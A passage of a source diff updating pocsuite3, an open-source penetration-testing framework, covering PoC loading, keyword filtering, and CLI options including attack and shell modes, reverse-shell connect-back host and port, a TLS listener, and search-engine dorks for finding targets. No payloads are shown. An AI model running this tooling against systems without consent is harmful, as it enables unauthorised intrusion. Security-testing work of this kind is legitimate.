enumerate(kb.data.local_ips): - message += "{0} {1}\n".format(i, desensitization(ip) if conf.ppt else ip) + v = ip + if conf.ppt: + v = desensitization(v) + if ip == wan_ipv4: + v = colored(f'{v} *wan*', 'green') + message += "{0} {1}\n".format(i, v) data_to_stdout(message) while True: choose = None @@ -328,44 +321,58 @@ # load poc scripts .pyc file support if conf.ssvid: conf.plugins.append('poc_from_seebug') + + if not (conf.poc or conf.vul_keyword) and conf.poc_keyword: + conf.poc = [paths.POCSUITE_POCS_PATH] + if conf.poc: - # step1. load system packed poc from pocsuite3/pocs folder exists_poc_with_ext = list( filter(lambda x: x not in ['__init__.py', '__init__.pyc'], os.listdir(paths.POCSUITE_POCS_PATH))) exists_pocs = dict([os.path.splitext(x) for x in exists_poc_with_ext]) for poc in conf.poc: - load_poc_sucess = False - if any([poc in exists_poc_with_ext, poc in exists_pocs]): - poc_name, poc_ext = os.path.splitext(poc) - if poc_ext in ['.py', '.pyc']: - file_path = os.path.join(paths.POCSUITE_POCS_PATH, poc) - else: - file_path = os.path.join(paths.POCSUITE_POCS_PATH, poc + exists_pocs.get(poc)) - if file_path: - info_msg = "loading PoC script '{0}'".format(file_path) - logger.info(info_msg) - load_poc_sucess = load_file_to_module(file_path) - - # step2. load poc from given file path + # load poc from pocsuite3/pocs folder or other local path try: - if not load_poc_sucess: - if not poc.startswith('ssvid-') and check_file(poc): - info_msg = "loading PoC script '{0}'".format(poc) - logger.info(info_msg) - load_poc_sucess = load_file_to_module(poc) + _pocs = [] + load_poc_sucess = False + + if os.path.isfile(poc): + _pocs.append(poc) + + elif any([poc in exists_poc_with_ext, poc in exists_pocs]): + poc_name, poc_ext = os.path.splitext(poc) + if poc_ext in ['.py', '.pyc']: + file_path = os.path.join(paths.POCSUITE_POCS_PATH, poc) + else: + file_path = os.path.join(paths.POCSUITE_POCS_PATH, poc + exists_pocs.get(poc)) + _pocs.append(file_path) + + elif check_path(poc): + for root, _, files in os.walk(poc): + files = filter(lambda x: not x.startswith("__") and x.endswith(".py"), files) + _pocs.extend(map(lambda x: os.path.join(root, x), files)) + + for p in _pocs: + file_content = open(p, encoding='utf-8').read() + if 'register_poc' not in file_content: + continue + if conf.poc_keyword: + attr_field = re.search(r'vulID.*?def .*?\(', file_content, re.DOTALL) + if attr_field and conf.poc_keyword.lower() not in attr_field.group().lower(): + continue + info_msg = "loading PoC script '{0}'".format(p) + logger.info(info_msg) + load_poc_sucess = load_file_to_module(p) or load_poc_sucess except PocsuiteSystemException: logger.error('PoC file "{0}" not found'.format(repr(poc))) continue - # step3. load poc from seebug website using plugin 'poc_from_seebug' - if not load_poc_sucess: - if poc.startswith('ssvid-'): - info_msg = "loading Poc script 'https://www.seebug.org/vuldb/{0}'".format(poc) - logger.info(info_msg) - if "poc_from_seebug" not in conf.plugins: - conf.plugins.append('poc_from_seebug') + # load poc from seebug website using plugin 'poc_from_seebug' + if not load_poc_sucess and poc.startswith('ssvid-'): + info_msg = "loading Poc script 'https://www.seebug.org/vuldb/{0}'".format(poc) + logger.info(info_msg) + if "poc_from_seebug" not in conf.plugins: + conf.plugins.append('poc_from_seebug') - load_keyword_poc_sucess = False if conf.vul_keyword: # step4. load poc with vul_keyword search seebug website info_msg = "loading PoC script from seebug website using search keyword '{0}' ".format(conf.vul_keyword) @@ -499,12 +506,12 @@ conf.url_file = None conf.mode = 'verify' conf.poc = None + conf.poc_keyword = None conf.cookie = None conf.host = None conf.referer = None conf.agent = None conf.headers = None - conf.random_agent = None conf.proxy = None conf.proxy_cred = None conf.proxies = {} @@ -512,7 +519,6 @@ conf.retry = 0 conf.delay = 0 conf.http_headers = {} - conf.agents = [DEFAULT_USER_AGENT] # When loading from the plug-in, if the data source has no default value, it needs to be processed conf.login_user = None conf.login_pass = None conf.shodan_token = None @@ -557,6 +563,8 @@ conf.rule = False conf.rule_req = False conf.rule_filename = None + conf.show_options = False + conf.enable_tls_listener = False def _set_kb_attributes(flush_all=True): @@ -688,6 +696,8 @@ target_source = i break # fetch target from target source, add it to kb.targets + if not target_source: + continue conf.dork = poc_class.dork[target_source] plugin_name = f'target_from_{target_source}' importlib.import_module(f'pocsuite3.plugins.{plugin_name}') @@ -696,6 +706,25 @@ plugin.init() +def _show_pocs_modules_options(): + if not conf.show_options: + return + for module_name, poc_class in kb.registered_pocs.items(): + module_options = poc_class.options + tb = prettytable.PrettyTable( + ['Name', 'Current settings', 'Type', 'Description']) + # add target option + for name, opt in module_options.items(): + value = opt.value + if opt.require and value == '': + value = colored('*require*', 'red') + tb.add_row([name, value, opt.type, opt.description]) + data_to_stdout(f'\nModule ({module_name}) options:\n') + data_to_stdout(tb.get_string()) + data_to_stdout('\n') + exit() + + def init(): """ Set attributes into both configuration and knowledge base singletons @@ -711,10 +740,13 @@ update() _set_multiple_targets() _set_user_pocs_path() - _set_pocs_modules() # The poc module module must be in front of the plug-in module, and some parameters in the poc option call the plug-in + # The poc module module must be in front of the plug-in module, + # and some parameters in the poc option call the plug-in + _set_pocs_modules() _set_plugins() _init_targets_plugins() _init_pocs_plugins() + _show_pocs_modules_options() _init_target_from_poc_dork() _set_task_queue() _init_results_plugins() diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/poc.py pocsuite3-1.8.10/pocsuite3/lib/core/poc.py --- pocsuite3-1.7.7/pocsuite3/lib/core/poc.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/poc.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ import re import traceback +import inspect from collections import OrderedDict -from urllib.parse import urlparse from requests.exceptions import ConnectTimeout from requests.exceptions import ConnectionError @@ -13,10 +13,9 @@ from pocsuite3.lib.core.data import logger from pocsuite3.lib.core.enums import OUTPUT_STATUS, CUSTOM_LOGGING, ERROR_TYPE_ID, POC_CATEGORY from pocsuite3.lib.core.exception import PocsuiteValidationException -from pocsuite3.lib.core.interpreter_option import OptString, OptInteger, OptIP, OptPort, OptBool -from pocsuite3.lib.utils import str_to_dict +from pocsuite3.lib.core.interpreter_option import OptString, OptInteger, OptPort, OptBool +from pocsuite3.lib.utils import urlparse # for pocsuite 2.x -from pocsuite3.lib.core.register import register_poc as register class POCBase(object): @@ -277,6 +276,10 @@ self.app_name = poc.appName self.app_version = poc.appVersion self.error_msg = poc.expt + self.poc_attrs = {} + for i in inspect.getmembers(poc): + if not i[0].startswith('_') and type(i[1]) in [str, list, dict]: + self.poc_attrs[i[0]] = i[1] def is_success(self): return bool(True and self.status) diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/readlineng.py pocsuite3-1.8.10/pocsuite3/lib/core/readlineng.py --- pocsuite3-1.7.7/pocsuite3/lib/core/readlineng.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/readlineng.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,5 +1,4 @@ from pocsuite3.lib.core.data import logger -from pocsuite3.lib.core.exception import PocsuiteSystemException from pocsuite3.lib.core.settings import IS_WIN from pocsuite3.lib.core.settings import PLATFORM @@ -57,5 +56,4 @@ def clear_history(): pass - _readline.clear_history = clear_history diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/register.py pocsuite3-1.8.10/pocsuite3/lib/core/register.py --- pocsuite3-1.7.7/pocsuite3/lib/core/register.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/register.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,8 @@ +import re +import pkg_resources import importlib.machinery import importlib.util from importlib.abc import Loader - from pocsuite3.lib.core.common import ( multiple_replace, get_filename, get_md5, is_pocsuite3_poc, get_poc_requires, get_poc_name) @@ -43,22 +44,25 @@ requires = [i.strip().strip('"').strip("'") for i in requires.split(',')] if requires else [''] if requires[0]: poc_name = get_poc_name(data) - info_msg = 'PoC script "{0}" requires "{1}" to be installed'.format(poc_name, ','.join(requires)) + info_msg = 'PoC script "{0}" requires "{1}" to be installed'.format(poc_name, ', '.join(requires)) logger.info(info_msg) try: for r in requires: - if ":" in r: - rows = r.split(":") - if len(rows) == 2: - r, module = rows - else: - module = rows[-1] - r = ''.join(rows[:-1]) - __import__(module) - else: - __import__(r) + r = r.replace(' ', '') + install_name, import_name = (r.split(':') + [''])[0:2] + t = re.split('>|<|=|~', install_name) + if len(t) > 1: + install_name = t[0] + if not import_name: + import_name = install_name + __import__(import_name) + try: + ver = pkg_resources.get_distribution(install_name).version + except Exception: + ver = 'unknown' + logger.info(f'{install_name}=={ver} has been installed') except ImportError: - err_msg = 'try install with "python -m pip install {0}"'.format(r) + err_msg = f'{install_name} not found, try install with "python -m pip install {install_name}"' logger.error(err_msg) raise SystemExit @@ -70,7 +74,7 @@ try: exec(obj, module.__dict__) except Exception as err: - logger.error("Poc: '{}' exec arise error: {} ".format(filename,err)) + logger.error("Poc: '{}' exec arise error: {} ".format(filename, err)) def load_file_to_module(file_path, module_name=None): diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/settings.py pocsuite3-1.8.10/pocsuite3/lib/core/settings.py --- pocsuite3-1.7.7/pocsuite3/lib/core/settings.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/settings.py 2022-01-10 22:07:00.000000000 +0000 @@ -8,14 +8,23 @@ VERSION = __version__ REVISION = get_revision_number() -SITE = "http://pocsuite.org" -VERSION_STRING = "pocsuite/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit-%s" % time.strftime("%Y%m%d", - time.gmtime( - os.path.getctime( - __file__.replace( - '.pyc', - '.py') if __file__.endswith( - 'pyc') else __file__)))) +SITE = "https://pocsuite.org" +VERSION_STRING = "pocsuite/%s%s" % ( + VERSION, + "-%s" % REVISION + if REVISION + else "-nongit-%s" + % time.strftime( + "%Y%m%d", + time.gmtime( + os.path.getctime( + __file__.replace(".pyc", ".py") + if __file__.endswith("pyc") + else __file__ + ) + ), + ), +) IS_WIN = True if (sys.platform in ["win32", "cygwin"] or os.name == "nt") else False PLATFORM = os.name @@ -26,22 +35,30 @@ GIT_PAGE = "https://github.com/knownsec/pocsuite3" ZIPBALL_PAGE = "https://github.com/knownsec/pocsuite3/zipball/master" -LEGAL_DISCLAIMER = "Usage of pocsuite for attacking targets without prior mutual consent is illegal." +LEGAL_DISCLAIMER = ( + "Usage of pocsuite for attacking targets without prior mutual consent is illegal." +) BANNER = """\033[01;33m ,------. ,--. ,--. ,----. \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m -| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. | -| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' < -| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' | -`--' `---' `---`----' `----'`--' `--' `----`----' \033[0m\033[4;37m%s\033[0m -""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) +| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. | +| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' < +| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' | +`--' `---' `---`----' `----'`--' `--' `----`----' \033[0m\033[4;37m%s\033[0m +""" % ( + (31 + hash(REVISION) % 6) if REVISION else 30, + VERSION_STRING.split("/")[-1], + SITE, +) # Encoding used for Unicode data UNICODE_ENCODING = "utf-8" -DEFAULT_USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36" - -BOLD_PATTERNS = ("' is vulnerable", "success", "\d ",) +BOLD_PATTERNS = ( + "' is vulnerable", + "success", + "\d ", +) OLD_VERSION_CHARACTER = ("from comm import cmdline", "from comm import generic") POCSUITE_VERSION_CHARACTER = ("from pocsuite.poc import", "from pocsuite.net import") @@ -67,12 +84,16 @@ IPV6_ADDRESS_REGEX = r"^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$" IPV6_URL_REGEX = r"(https?:\/\/)?\[((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\](:\d+)?(\/)?" URL_ADDRESS_REGEX = r"(?:(?:https?):\/\/|www\.|ftp\.)(?:\([-a-zA-Z0-9+&@#\/%=~_|$?!:,.]*\)|[-a-zA-Z0-9+&@#\/%=~_|$?!:,.])*(?:\([-a-zA-Z0-9+&@#\/%=~_|$?!:,.]*\)|[a-zA-Z0-9+&@#\/%=~_|$])" -URL_DOMAIN_REGEX = r"(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,3})(?:/[\w&%?#-]{1,300})?(?:\:\d+)?" -LOCAL_IP_ADDRESS_REGEX = r"(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)" +URL_DOMAIN_REGEX = ( + r"(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,3})(?:/[\w&%?#-]{1,300})?(?:\:\d+)?" +) +LOCAL_IP_ADDRESS_REGEX = ( + r"(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)" +) POC_REQUIRES_REGEX = r"install_requires\s*=\s*\[(?P.*?)\]" -POC_NAME_REGEX = r'''(?sm)POCBase\):.*?name\s*=\s*['"](?P.*?)['"]''' +POC_NAME_REGEX = r"""(?sm)POCBase\):.*?name\s*=\s*['"](?P.*?)['"]""" MAX_NUMBER_OF_THREADS = 20 @@ -81,17 +102,75 @@ # Maximum number of lines to save in history file MAX_HISTORY_LENGTH = 1000 -IMG_EXT = ('.jpg', '.png', '.gif') +IMG_EXT = (".jpg", ".png", ".gif") -TIMESTAMP = time.strftime('%Y%m%d%H%M%S', time.gmtime()) +TIMESTAMP = time.strftime("%Y%m%d%H%M%S", time.gmtime()) OS_SYSTEM = system().upper() OS_ARCH = machine() # Cmd line parse whitelist -CMD_PARSE_WHITELIST = ['version', 'update', 'url', 'file', 'verify', 'attack', 'shell', 'cookie', 'host', 'referer', - 'user-agent', 'random-agent', 'proxy', 'proxy-cred', 'timeout', 'retry', 'delay', 'headers', - 'login-user', 'login-pass', 'dork', 'dork-shodan', 'dork-censys', 'dork-zoomeye', 'dork-fofa','dork-quake', - 'max-page', 'search-type', 'shodan-token', 'fofa-user', 'fofa-token', 'quake-token','vul-keyword', 'ssv-id', - 'lhost', 'lport', 'plugins', 'pocs-path', 'threads', 'batch', 'requires', 'quiet', 'poc', - 'verbose', 'mode', 'api', 'connect_back_host', 'connect_back_port', 'ppt', 'help', 'pcap', - 'rule','rule-req','rule-filename','dork-b64'] +CMD_PARSE_WHITELIST = [ + "help", + "version", + "update", + "url", + "url_file", + "file", + "poc_keyword", + "verify", + "attack", + "shell", + "cookie", + "host", + "referer", + "user-agent", + "proxy", + "proxy-cred", + "timeout", + "retry", + "delay", + "headers", + "login-user", + "login-pass", + "shodan-token", + "fofa-user", + "fofa-token", + "quake-token", + "censys-uid", + "censys-secret", + "dork", + "dork-zoomeye", + "dork-shodan", + "dork-censys", + "dork-fofa", + "dork-quake", + "max-page", + "search-type", + "vul-keyword", + "ssv-id", + "lhost", + "lport", + "tls", + "comparison", + "dork-b64", + "plugins", + "pocs-path", + "threads", + "batch", + "requires", + "quiet", + "ppt", + "pcap", + "rule", + "rule-req", + "rule-filename", + "options", + + # other + "poc", + "verbose", + "mode", + "api", + "connect_back_host", + "connect_back_port" +] diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/shell.py pocsuite3-1.8.10/pocsuite3/lib/core/shell.py --- pocsuite3-1.7.7/pocsuite3/lib/core/shell.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/shell.py 2022-01-10 22:07:00.000000000 +0000 @@ -11,7 +11,6 @@ try: import rlcompleter - class CompleterNG(rlcompleter.Completer): def global_matches(self, text): """ diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/threads.py pocsuite3-1.8.10/pocsuite3/lib/core/threads.py --- pocsuite3-1.7.7/pocsuite3/lib/core/threads.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/threads.py 2022-01-10 22:07:00.000000000 +0000 @@ -6,7 +6,6 @@ from pocsuite3.lib.core.data import kb from pocsuite3.lib.core.data import logger from pocsuite3.lib.core.exception import PocsuiteConnectionException -from pocsuite3.lib.core.exception import PocsuiteThreadException from pocsuite3.lib.core.exception import PocsuiteUserQuitException from pocsuite3.lib.core.exception import PocsuiteValueException from pocsuite3.lib.core.settings import MAX_NUMBER_OF_THREADS @@ -70,7 +69,7 @@ alive = True time.sleep(0.1) - except (KeyboardInterrupt, PocsuiteUserQuitException) as ex: + except (KeyboardInterrupt, PocsuiteUserQuitException): kb.thread_continue = False kb.thread_exception = True logger.info("user aborted (Ctrl+C was pressed multiple times") diff -Nru pocsuite3-1.7.7/pocsuite3/lib/helper/archieve/jar.py pocsuite3-1.8.10/pocsuite3/lib/helper/archieve/jar.py --- pocsuite3-1.7.7/pocsuite3/lib/helper/archieve/jar.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/helper/archieve/jar.py 2022-01-10 22:07:00.000000000 +0000 @@ -8,7 +8,7 @@ self.manifest = self.get_manifest() self.is_manifest_created = False - def get_manifest(self, main_class='pocsuite.Payload'): + def get_manifest(self, main_class='Test.Payload'): manifest = 'Manifest-Version: 1.0\n' manifest += 'Main-Class: %s\n' % main_class manifest += 'Permissions: all-permissions\n\n' diff -Nru pocsuite3-1.7.7/pocsuite3/lib/helper/archieve/memoryzip.py pocsuite3-1.8.10/pocsuite3/lib/helper/archieve/memoryzip.py --- pocsuite3-1.7.7/pocsuite3/lib/helper/archieve/memoryzip.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/helper/archieve/memoryzip.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,9 +1,9 @@ -#!usr/bin/env python +#!usr/bin/env python # -*- coding:utf-8 -*- -""" +""" @author: longofo -@file: memoryzip.py -@time: 2020/03/18 +@file: memoryzip.py +@time: 2020/03/18 """ import zipfile from io import BytesIO diff -Nru pocsuite3-1.7.7/pocsuite3/lib/helper/archieve/war.py pocsuite3-1.8.10/pocsuite3/lib/helper/archieve/war.py --- pocsuite3-1.7.7/pocsuite3/lib/helper/archieve/war.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/helper/archieve/war.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,9 +1,9 @@ -#!usr/bin/env python +#!usr/bin/env python # -*- coding:utf-8 -*- -""" +""" @author: longofo -@file: war.py -@time: 2020/03/18 +@file: war.py +@time: 2020/03/18 """ import os diff -Nru pocsuite3-1.7.7/pocsuite3/lib/parse/cmd.py pocsuite3-1.8.10/pocsuite3/lib/parse/cmd.py --- pocsuite3-1.7.7/pocsuite3/lib/parse/cmd.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/parse/cmd.py 2022-01-10 22:07:00.000000000 +0000 @@ -36,7 +36,8 @@ help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") target.add_argument("-f", "--file", dest="url_file", help="Scan multiple targets given in a textual file") - target.add_argument("-r", dest="poc", nargs='+', help="Load POC file from local or remote from seebug website") + target.add_argument("-r", dest="poc", nargs='+', help="Load PoC file from local or remote from seebug website") + target.add_argument("-k", dest="poc_keyword", help="Filter PoC by keyword, e.g. ecshop") target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") # Mode options @@ -54,17 +55,15 @@ request.add_argument("--cookie", dest="cookie", help="HTTP Cookie header value") request.add_argument("--host", dest="host", help="HTTP Host header value") request.add_argument("--referer", dest="referer", help="HTTP Referer header value") - request.add_argument("--user-agent", dest="agent", help="HTTP User-Agent header value") - request.add_argument("--random-agent", dest="random_agent", action="store_true", default=False, - help="Use randomly selected HTTP User-Agent header value") + request.add_argument("--user-agent", dest="agent", help="HTTP User-Agent header value (default random)") request.add_argument("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") request.add_argument("--proxy-cred", dest="proxy_cred", help="Proxy authentication credentials (name:password)") request.add_argument("--timeout", dest="timeout", help="Seconds to wait before timeout connection (default 30)") - request.add_argument("--retry", dest="retry", default=False, help="Time out retrials times.") + request.add_argument("--retry", dest="retry", default=False, help="Time out retrials times") request.add_argument("--delay", dest="delay", help="Delay between two request of one thread") request.add_argument("--headers", dest="headers", help="Extra headers (e.g. \"key1: value1\\nkey2: value2\")") # Account options - group = parser.add_argument_group("Account", "Telnet404、Shodan、CEye、Fofa account options") + group = parser.add_argument_group("Account", "Telnet404, Shodan, CEye, Fofa account options") group.add_argument("--login-user", dest="login_user", help="Telnet404 login user") group.add_argument("--login-pass", dest="login_pass", help="Telnet404 login password") group.add_argument("--shodan-token", dest="shodan_token", help="Shodan token") @@ -74,31 +73,33 @@ group.add_argument("--censys-uid", dest="censys_uid", help="Censys uid") group.add_argument("--censys-secret", dest="censys_secret", help="Censys secret") # Modules options - modules = parser.add_argument_group("Modules", "Modules(Seebug、Zoomeye、CEye、Fofa、Quake Listener) options") + modules = parser.add_argument_group("Modules", "Modules(Seebug, Zoomeye, CEye, Fofa, Quake, Listener) options") modules.add_argument("--dork", dest="dork", action="store", default=None, - help="Zoomeye dork used for search.") + help="Zoomeye dork used for search") modules.add_argument("--dork-zoomeye", dest="dork_zoomeye", action="store", default=None, - help="Zoomeye dork used for search.") + help="Zoomeye dork used for search") modules.add_argument("--dork-shodan", dest="dork_shodan", action="store", default=None, - help="Shodan dork used for search.") + help="Shodan dork used for search") modules.add_argument("--dork-censys", dest="dork_censys", action="store", default=None, - help="Censys dork used for search.") + help="Censys dork used for search") modules.add_argument("--dork-fofa", dest="dork_fofa", action="store", default=None, - help="Fofa dork used for search.") + help="Fofa dork used for search") modules.add_argument("--dork-quake", dest="dork_quake", action="store", default=None, - help="Quake dork used for search.") + help="Quake dork used for search") modules.add_argument("--max-page", dest="max_page", type=int, default=1, - help="Max page used in ZoomEye API(10 targets/Page).") + help="Max page used in search API") modules.add_argument("--search-type", dest="search_type", action="store", default='host', help="search type used in ZoomEye API, web or host") modules.add_argument("--vul-keyword", dest="vul_keyword", action="store", default=None, - help="Seebug keyword used for search.") + help="Seebug keyword used for search") modules.add_argument("--ssv-id", dest="ssvid", action="store", default=None, - help="Seebug SSVID number for target PoC.") + help="Seebug SSVID number for target PoC") modules.add_argument("--lhost", dest="connect_back_host", action="store", default=None, help="Connect back host for target PoC in shell mode") modules.add_argument("--lport", dest="connect_back_port", action="store", default=None, help="Connect back port for target PoC in shell mode") + modules.add_argument("--tls", dest="enable_tls_listener", action="store_true", default=False, + help="Enable TLS listener in shell mode") modules.add_argument("--comparison", dest="comparison", help="Compare popular web search engines", action="store_true", default=False) @@ -115,23 +116,25 @@ optimization.add_argument("--threads", dest="threads", type=int, default=1, help="Max number of concurrent network requests (default 1)") optimization.add_argument("--batch", dest="batch", - help="Automatically choose defaut choice without asking.") + help="Automatically choose defaut choice without asking") optimization.add_argument("--requires", dest="check_requires", action="store_true", default=False, help="Check install_requires") optimization.add_argument("--quiet", dest="quiet", action="store_true", default=False, - help="Activate quiet mode, working without logger.") + help="Activate quiet mode, working without logger") optimization.add_argument("--ppt", dest="ppt", action="store_true", default=False, help="Hiden sensitive information when published to the network") optimization.add_argument("--pcap", dest="pcap", action="store_true", default=False, help="use scapy capture flow") optimization.add_argument("--rule", dest="rule", action="store_true", default=False, - help="export rules, default export reqeust and response") + help="export suricata rules, default export reqeust and response") optimization.add_argument("--rule-req", dest="rule_req", action="store_true", default=False, help="only export request rule") optimization.add_argument("--rule-filename", dest="rule_filename", action="store", default=False, help="Specify the name of the export rule file") # Diy options diy = parser.add_argument_group("Poc options", "definition options for PoC") + diy.add_argument("--options", dest="show_options", action="store_true", default=False, + help="Show all definition options") for line in argv: if line.startswith("--"): diff -Nru pocsuite3-1.7.7/pocsuite3/lib/parse/configfile.py pocsuite3-1.8.10/pocsuite3/lib/parse/configfile.py --- pocsuite3-1.7.7/pocsuite3/lib/parse/configfile.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/parse/configfile.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ import os from configparser import ConfigParser -from pocsuite3.lib.core.data import logger, cmd_line_options, conf +from pocsuite3.lib.core.data import logger, conf from pocsuite3.lib.core.enums import OPTION_TYPE from pocsuite3.lib.core.exception import PocsuiteFilePathException, PocsuiteMissingMandatoryOptionException, \ PocsuiteValueException diff -Nru pocsuite3-1.7.7/pocsuite3/lib/parse/rules.py pocsuite3-1.8.10/pocsuite3/lib/parse/rules.py --- pocsuite3-1.7.7/pocsuite3/lib/parse/rules.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/parse/rules.py 2022-01-10 22:07:00.000000000 +0000 @@ -2,6 +2,7 @@ from pocsuite3.lib.core.data import conf from pocsuite3.lib.core.data import logger + def regex_rule(files): if not conf.rule_filename: conf.rule_filename = "rule.rule" diff -Nru pocsuite3-1.7.7/pocsuite3/lib/parse/url.py pocsuite3-1.8.10/pocsuite3/lib/parse/url.py --- pocsuite3-1.7.7/pocsuite3/lib/parse/url.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/parse/url.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,4 +1,4 @@ -from urllib.parse import urlparse +from pocsuite3.lib.utils import urlparse class URL: diff -Nru pocsuite3-1.7.7/pocsuite3/lib/request/patch/hook_request.py pocsuite3-1.8.10/pocsuite3/lib/request/patch/hook_request.py --- 